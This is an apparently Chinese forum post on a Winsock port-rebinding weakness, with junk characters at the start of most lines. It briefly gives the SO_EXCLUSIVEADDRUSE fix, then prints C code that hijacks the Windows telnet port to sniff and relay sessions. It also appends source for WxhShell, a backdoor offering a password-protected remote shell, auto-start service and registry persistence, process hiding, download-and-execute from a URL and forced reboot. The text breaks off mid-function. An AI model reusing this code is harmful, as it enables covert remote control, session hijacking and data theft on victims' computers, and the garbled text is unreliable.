在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
RCQAtBd s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
>.n;mk ennR@pg saddr.sin_family = AF_INET;
?Oqzd$- h$|3dz N saddr.sin_addr.s_addr = htonl(INADDR_ANY);
pIvfmIm 3)xb nRk bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
8T<@ @6`T >6k}HrS1V 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
"'~|}x1Uv quY " 这意味着什么?意味着可以进行如下的攻击:
htV#5SUx& ]2LXUYB 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2aFT<T0 [jy0@Q9 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
">4PePt.n TZj[O1E 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
qj`,qm
P @+$cZ3, 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
U @)k3^ l:q8Pg) 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
T
G_bje CJv>/#$/F 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
xM%`KP.8X _HLC>pH~# 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Rnzqw,q B( 8mH #include
</|)"OD9 #include
YsZ{1W #include
z'_&|-m #include
.#sz|0 DWORD WINAPI ClientThread(LPVOID lpParam);
,%[LwmET int main()
J"5jy$30'$ {
0hFH^2%UY WORD wVersionRequested;
|>Z&S=\I) DWORD ret;
xv^Sh}\} WSADATA wsaData;
W"dU1] BOOL val;
pXve02b1B SOCKADDR_IN saddr;
G
*ds4R?! SOCKADDR_IN scaddr;
TNJ<!6 int err;
uC- A43utv SOCKET s;
wL Y#dm SOCKET sc;
%
Oz$_Xe int caddsize;
^Wif!u/HM HANDLE mt;
;*W=c DWORD tid;
OI*ZVD)J wVersionRequested = MAKEWORD( 2, 2 );
DCt\E/ err = WSAStartup( wVersionRequested, &wsaData );
|xp$OL"a if ( err != 0 ) {
Hw\([j* printf("error!WSAStartup failed!\n");
*}>Bkq9h return -1;
lxo.,n) }
.\Ul!&y saddr.sin_family = AF_INET;
c6t2Q6zV >6OCKl //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
3R'.}^RN E2Us#a saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
@+iC/ saddr.sin_port = htons(23);
4 #aqz9k if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%)8d{1at {
Ica3 printf("error!socket failed!\n");
4sb )^3T return -1;
.F4oo = }
y+?=E g val = TRUE;
+mivqR~{{ //SO_REUSEADDR选项就是可以实现端口重绑定的
:G^"e if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
S|~i> {
HmhUc,EC printf("error!setsockopt failed!\n");
/X@7ju; return -1;
:-w@^mli }
#m[vn^8B]y //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
@55bE\E?@ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
^I@ey*$ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
]Mn&76fu anK[P'Y if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
(~=Qufy {
'CS^2Z ret=GetLastError();
mr@_%U printf("error!bind failed!\n");
N )'8o}E return -1;
{-o7w0d_ }
D}mo\ listen(s,2);
F='Xj@&O while(1)
;&K3[;a {
#D=
tX caddsize = sizeof(scaddr);
EfFj!)fz //接受连接请求
F# jCEq sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
y=-{Q if(sc!=INVALID_SOCKET)
A(q~{ {
=*{K@p_ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
B"7$!C o if(mt==NULL)
^Vl^,@ {
`x2fp6
printf("Thread Creat Failed!\n");
qnabw F break;
J'|=*# }
DhY;pG,t }
B1x'5S;Bq CloseHandle(mt);
{'h)
}
tU9rCL:P closesocket(s);
/uC+.B9k WSACleanup();
^:qpa5^" return 0;
X
QI.0L" }
nwY2BIB DWORD WINAPI ClientThread(LPVOID lpParam)
| \AbL!u {
enPzy:C SOCKET ss = (SOCKET)lpParam;
Coga-: 2vu SOCKET sc;
yonJd unsigned char buf[4096];
dD[v=Z_ SOCKADDR_IN saddr;
.Ql;(Wyl long num;
)o05Vda DWORD val;
hCU)W1q# DWORD ret;
p#ZMABlE,P //如果是隐藏端口应用的话,可以在此处加一些判断
K.:6YXVs< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
;[?J5X, saddr.sin_family = AF_INET;
|hu"5* saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
2v"wWap-+ saddr.sin_port = htons(23);
(nkUeQQN if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_pY {
c80
}1 printf("error!socket failed!\n");
zzulVj* return -1;
EZ:I$X }
$
1ak I val = 100;
zb@L)% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|M[v493\ {
WpZy](, ret = GetLastError();
6b- return -1;
DH}s1mNMP }
uU8*$+ " if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
PFImqojHd {
h-z%C6 ret = GetLastError();
+}Qv6s# return -1;
E`oSi
ez) }
ZkJY.H-F if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
&>d:ewM\ {
$=\oJ-(!@S printf("error!socket connect failed!\n");
@qg0u#k5 closesocket(sc);
OU0xZ=G closesocket(ss);
,\|n=T, return -1;
]3gYuz| }
~@b9
while(1)
==jkp
U*= {
"U/NMGMj //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
`77;MGg* //如果是嗅探内容的话,可以再此处进行内容分析和记录
v&t`5-e-A //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
OhA^UP01- num = recv(ss,buf,4096,0);
/ChJ~g " if(num>0)
jD&}}:Dj send(sc,buf,num,0);
eLHa9R{)B else if(num==0)
}0k"SwX break;
Pur"9jHa4 num = recv(sc,buf,4096,0);
Hl%+F0^? if(num>0)
-L^0-g send(ss,buf,num,0);
Mft0Dj/ else if(num==0)
9`nP(~ break;
*X-~TC0
[ }
i~v@ closesocket(ss);
[8V(N2
closesocket(sc);
"Qiq/"h return 0 ;
#Pe\Z/ }
kphy7>Km zJB+C=]D7H ,g<>`={kK+ ==========================================================
:kf3_?9rc [# H8= 下边附上一个代码,,WXhSHELL
jzu l{'g z1}tC\9'% ==========================================================
fzGZ :L !5g)3St #include "stdafx.h"
4wM$5 IkE'_F #include <stdio.h>
ve64-D #include <string.h>
PuUon6bZ #include <windows.h>
D7Rbho< #include <winsock2.h>
a$+e8> #include <winsvc.h>
a9mr-`< #include <urlmon.h>
e!:?_z." .@x"JI>; #pragma comment (lib, "Ws2_32.lib")
'vf,T4uQ" #pragma comment (lib, "urlmon.lib")
,M+h9_&0? S7\|/h:4 #define MAX_USER 100 // 最大客户端连接数
2WbZ>^:Nsk #define BUF_SOCK 200 // sock buffer
`9G$p|6 #define KEY_BUFF 255 // 输入 buffer
+v `^_ 1*x5/b #define REBOOT 0 // 重启
@BB,i / #define SHUTDOWN 1 // 关机
CwCo"%E8} Bv
|jo&0n #define DEF_PORT 5000 // 监听端口
K|Ij71 *y[~kWI #define REG_LEN 16 // 注册表键长度
\8C*O{w #define SVC_LEN 80 // NT服务名长度
egIS rmL+X 34O+#0<y~ // 从dll定义API
f|[5&,2< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
JydQA_ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
lHj7O&+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
9X^-)G> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
J^<j=a|D |)>GeE // wxhshell配置信息
><Mbea=U+ struct WSCFG {
h} b^o* int ws_port; // 监听端口
Jn^Wzn[q char ws_passstr[REG_LEN]; // 口令
ND99g int ws_autoins; // 安装标记, 1=yes 0=no
`6l24_eKf char ws_regname[REG_LEN]; // 注册表键名
^5zS2nm char ws_svcname[REG_LEN]; // 服务名
TF([yZO' char ws_svcdisp[SVC_LEN]; // 服务显示名
:67d>wb char ws_svcdesc[SVC_LEN]; // 服务描述信息
(cqA^.Td char ws_passmsg[SVC_LEN]; // 密码输入提示信息
RIVN>G[;L int ws_downexe; // 下载执行标记, 1=yes 0=no
N#xM_Mpt char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
\`<s@U char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Liz6ob 8xGkh?% };
P[|BWNei 9iN!hy[ // default Wxhshell configuration
A.'`FtV struct WSCFG wscfg={DEF_PORT,
hTNYjXj "xuhuanlingzhe",
7UEy L
}N 1,
1J!tcj1( "Wxhshell",
@_tA"E "Wxhshell",
D4x' "WxhShell Service",
|SJ%
_#=i "Wrsky Windows CmdShell Service",
C*6bR? I9 "Please Input Your Password: ",
YM4U.! 4o 1,
%y^Kw "
http://www.wrsky.com/wxhshell.exe",
})=c:h& "Wxhshell.exe"
Y;F,GxR} };
h19.b:JT CBgFB-!qpe // 消息定义模块
khO<Z^wi[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
"N[gMp6U char *msg_ws_prompt="\n\r? for help\n\r#>";
xBx?>nN char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
f"}14V char *msg_ws_ext="\n\rExit.";
d' eM(4R@ char *msg_ws_end="\n\rQuit.";
,:Y=,[ n char *msg_ws_boot="\n\rReboot...";
=S?-=jPtg char *msg_ws_poff="\n\rShutdown...";
u
BW char *msg_ws_down="\n\rSave to ";
Ml_:Q]kl^ =<tJAoVV char *msg_ws_err="\n\rErr!";
-:1Gr8 char *msg_ws_ok="\n\rOK!";
w]}cB+C+l# %L=h}U13 char ExeFile[MAX_PATH];
ysP/@;jC int nUser = 0;
}X.8.S' HANDLE handles[MAX_USER];
3kzG L int OsIsNt;
l#(g&x6J $AJy^`E^ SERVICE_STATUS serviceStatus;
I]S(tx! SERVICE_STATUS_HANDLE hServiceStatusHandle;
looPO:bo^ UVuuIW0k // 函数声明
0O9
Lg} int Install(void);
XajY'+DIsz int Uninstall(void);
Jv$2wH int DownloadFile(char *sURL, SOCKET wsh);
Sv]"Y/N int Boot(int flag);
Z(clw void HideProc(void);
&G5I0:a
int GetOsVer(void);
@eD~FNf-] int Wxhshell(SOCKET wsl);
oFx gR9 void TalkWithClient(void *cs);
f\%X7. int CmdShell(SOCKET sock);
=GS_ G;Dz int StartFromService(void);
74!JPOpQH int StartWxhshell(LPSTR lpCmdLine);
L bK1CGyA K
{N;k- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
hQRc,d6x5 VOID WINAPI NTServiceHandler( DWORD fdwControl );
r?{LQWP>e qb/!;U_ // 数据结构和表定义
Y&:\s8C SERVICE_TABLE_ENTRY DispatchTable[] =
}jy7,+ {
Iw-6Z+ 94 {wscfg.ws_svcname, NTServiceMain},
%4g4 C# {NULL, NULL}
hD~/6bx };
!P3tTL!*L kJ:5msKwC // 自我安装
E52:c]<'m int Install(void)
6/[h24d {
er}'}n`@q char svExeFile[MAX_PATH];
'k) P(H HKEY key;
k/f_@8 strcpy(svExeFile,ExeFile);
m>m`aLrnb 4w // 如果是win9x系统,修改注册表设为自启动
SodW5v a if(!OsIsNt) {
ToCfLJ?{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
YH6K-} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
m3ZOq
B- RegCloseKey(key);
91'^--N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
zCN;LpbEJY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
NomK(%8m$ RegCloseKey(key);
,wy:RVv@e return 0;
2Uw}'J_N }
{ l~T~3/i }
pc(9(. | }
FP
cvkXQD else {
J-,X0v"
J!qEj{ // 如果是NT以上系统,安装为系统服务
@o.i2iG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
.oOt(K+ if (schSCManager!=0)
}LVE^6zyk {
WxI]Fcb< SC_HANDLE schService = CreateService
IQ`aDo-V (
mTu9'/$( schSCManager,
5 BG&r*U wscfg.ws_svcname,
CKK5+ wscfg.ws_svcdisp,
W;*vcbP SERVICE_ALL_ACCESS,
' <jp.sZQ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
?9M+fi SERVICE_AUTO_START,
B,qZwc| SERVICE_ERROR_NORMAL,
yD'h5)yu svExeFile,
&~6O;}\ NULL,
cnO4NUDv NULL,
HCZ%DBU96 NULL,
iONql7S @ NULL,
y3$\ m NULL
r]vBr^kq );
Z~:lfCK` if (schService!=0)
lP
&%5y; {
Hw3E S CloseServiceHandle(schService);
, 0ja _ CloseServiceHandle(schSCManager);
?~9X:~6\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
uy28=BE strcat(svExeFile,wscfg.ws_svcname);
8i~'~/x if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
.}op mI RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
}Qu
7o RegCloseKey(key);
:Gk~FRA| return 0;
|iThgq_\z }
U*l>8 }
Xm+3`$< CloseServiceHandle(schSCManager);
`
R-np_ }
Rla*hc~ }
`t"Kq+ lY,1 w return 1;
~DS9{Y }
P?-44m# e=$xn3)McY // 自我卸载
KAaeaiD int Uninstall(void)
`qEm5+` {
DEuW' .o> HKEY key;
m$j;FKz+| ImW~Jy if(!OsIsNt) {
UeTp, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?=Qg RegDeleteValue(key,wscfg.ws_regname);
clV/i&]Qa RegCloseKey(key);
%Q01EjRes if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
U5s]dUs ( RegDeleteValue(key,wscfg.ws_regname);
'GT`%c k RegCloseKey(key);
CawVC*b3 return 0;
X~b+LG/ }
@AyW9!vV;3 }
ZPog)d@! }
(S{c*"}2 else {
W u{nC \Fjq|3`<l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
NV ~i4R*# if (schSCManager!=0)
M#,+p8 {
{[iQRYD0| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
msJn;(Pn if (schService!=0)
ioQlC4Y {
!I$RE?7eY if(DeleteService(schService)!=0) {
g#NUo/ CloseServiceHandle(schService);
*]u/,wCB CloseServiceHandle(schSCManager);
yQ2[[[@k@ return 0;
<<6#Uz.1 }
bsDUFXH] CloseServiceHandle(schService);
J?DyTs3Z }
D]y.!D{l2 CloseServiceHandle(schSCManager);
-I<`!kH* }
o?\Pw9Y }
l^Z~^.{y $RO=r90o return 1;
gDIB'Y }
)f|6=x4 < ,n4|z) // 从指定url下载文件
WVFy Zp B int DownloadFile(char *sURL, SOCKET wsh)
}7^*%$ {
jR:Fih-} HRESULT hr;
yIP
IA%dJ char seps[]= "/";
6FAP *V; char *token;
/zAx`H char *file;
\|s/_35( char myURL[MAX_PATH];
Wb$bCR#?< char myFILE[MAX_PATH];
H%V[%
T4= eZo%q,L strcpy(myURL,sURL);
<ZEll[0L token=strtok(myURL,seps);
CdjGYS while(token!=NULL)
w?"l4.E% {
->UrWW^ file=token;
&-tf/qJ token=strtok(NULL,seps);
zc5_;!t }
1Zzw|@#>o X[}%iEWzT GetCurrentDirectory(MAX_PATH,myFILE);
ponvi42u strcat(myFILE, "\\");
"Y6mM_flq strcat(myFILE, file);
p5ihuV, send(wsh,myFILE,strlen(myFILE),0);
,@MPzpH send(wsh,"...",3,0);
%hh8\5l.: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
su$juI{ if(hr==S_OK)
w0SgF/"@ return 0;
:}-[%LSV else
nz+KA\iW return 1;
S{06bLXU"
73X]|fy }
(Nf.a4O KYaf7qy] // 系统电源模块
D=$<Ex^p int Boot(int flag)
ml2HA4X&$Y {
8V=o%[t HANDLE hToken;
D\JYa@*?.h TOKEN_PRIVILEGES tkp;
TUt)]"h< fAi113q! if(OsIsNt) {
d29HEu OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
{DR+sE LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
3lqhjA tkp.PrivilegeCount = 1;
X"sN~Q.0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
TM;)[R@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
WfVie6 if(flag==REBOOT) {
Z^3Risi if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
z m%\L/BF return 0;
TMrmyvv }
'}=M~ else {
5s9~rm if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
qZ.\GHS return 0;
g&
Rk}/F }
fi)ypv* }
$Z4p$o
dk else {
hkY E7 if(flag==REBOOT) {
g`1i[Iu2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
p%_TbH3j` return 0;
AKVmUS;70 }
s.U p<Rw else {
o/xE
O=AW if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
pI4<`
K return 0;
V&